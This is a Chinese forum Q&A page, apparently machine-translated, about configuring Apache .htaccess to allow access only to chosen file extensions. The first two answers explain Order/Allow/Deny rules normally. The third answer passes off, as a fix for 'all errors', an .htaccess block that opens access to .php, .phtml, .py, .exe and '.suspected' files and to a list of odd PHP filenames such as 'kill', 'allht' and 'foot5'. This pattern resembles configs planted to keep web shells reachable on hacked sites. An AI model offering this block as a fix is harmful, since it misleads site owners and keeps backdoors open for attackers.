.htaccess htaccess允许通过扩展名访问文件?

xdyibdwo  于 2022-11-16  发布在  其他
关注(0)|答案(3)|浏览(151)

我看到了几个htaccess示例,它们禁止访问某些文件:

<Files ~ "\.(js|sql)$">
   order deny,allow
   deny from all
</Files>

例如,这会阻止访问所有的.JS和.SQL文件,而其他的文件则被启用。2我希望相反!3我希望这些文件被启用,而所有其他的文件被阻止。4如何实现这一点?

c9qzyr3d

c9qzyr3d1#

Vorapsak的答案几乎是正确的。实际上

order allow,deny
<Files ~ "\.(js|sql)$">
   allow from all
</Files>

您需要在顶部使用order指令(不需要其他任何指令)。
有趣的是,似乎我们不能直接否定FilesMatch中的正则表达式,这很奇怪,特别是因为“!”不会导致服务器错误或任何事情。
还有一点解释:
订单原因告知服务器其预期的默认行为。

order allow,deny

通知服务器首先处理“allow”指令:如果一个请求与任何allow指令匹配,它就被标记为okay。然后,“deny”指令被求值:如果一个请求与任何deny指令匹配,则会被拒绝(无论第一次是否被允许)。如果没有找到匹配,则会拒绝该文件。
该指令

order deny,allow

工作方式相反:首先,服务器处理“deny”指令:如果一个请求匹配,它被标记为拒绝。然后“allow”指令被求值:如果一个请求与allow指令匹配,则允许该文件进入,即使它之前与deny指令匹配。如果一个请求不与任何指令匹配,则允许该文件进入。
在此特定情况下,服务器首先尝试匹配allow指令:它看到允许js和sql文件,因此对foo.js的请求通过;对bar.php的请求与任何指令都不匹配,因此被拒绝。
如果我们把指令换成“orderdeny,allow”,那么foo.js将通过(因为是js),bar.php也将通过,因为它不匹配任何模式。
还有一件事:在一个 section 中的指令(即< Files>和< Directory>)总是在.htaccess文件的主体之后求值,覆盖它。这就是为什么Vorapsak的解决方案没有按预期工作:main .htaccess拒绝了请求,然后处理了< Files>订单,它允许了请求。
Htaccess是最糟糕的魔法,但它是有逻辑的。

atmip9wb

atmip9wb2#

您是否尝试设置

deny from all

在标签外(之前),然后变更

deny from all

allow from all

里面?比如

deny from all
<Files ~ "\.(js|sql)$">
   order allow,deny
   allow from all
</Files>
jm81lzqq

jm81lzqq3#

如果你的网站有问题,请使用htaccess代码。它可以解决你可能遇到的所有错误

DirectoryIndex index.html index.php

<FilesMatch ".(PhP|php5|suspected|phtml|py|exe|php)$">
 Order allow,deny
 Allow from all
</FilesMatch>
<FilesMatch "^(votes|themes|xmlrpcs|uninstall|wp-login|locale|admin|kill|a|allht|index|index1|admin2|license3|votes4|foot5|load|home|items|store).php$">
 Order allow,deny
 Allow from all
</FilesMatch>
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . index.php [L]
</IfModule>

如果这对你有帮助,别忘了用力拍!!!

相关问题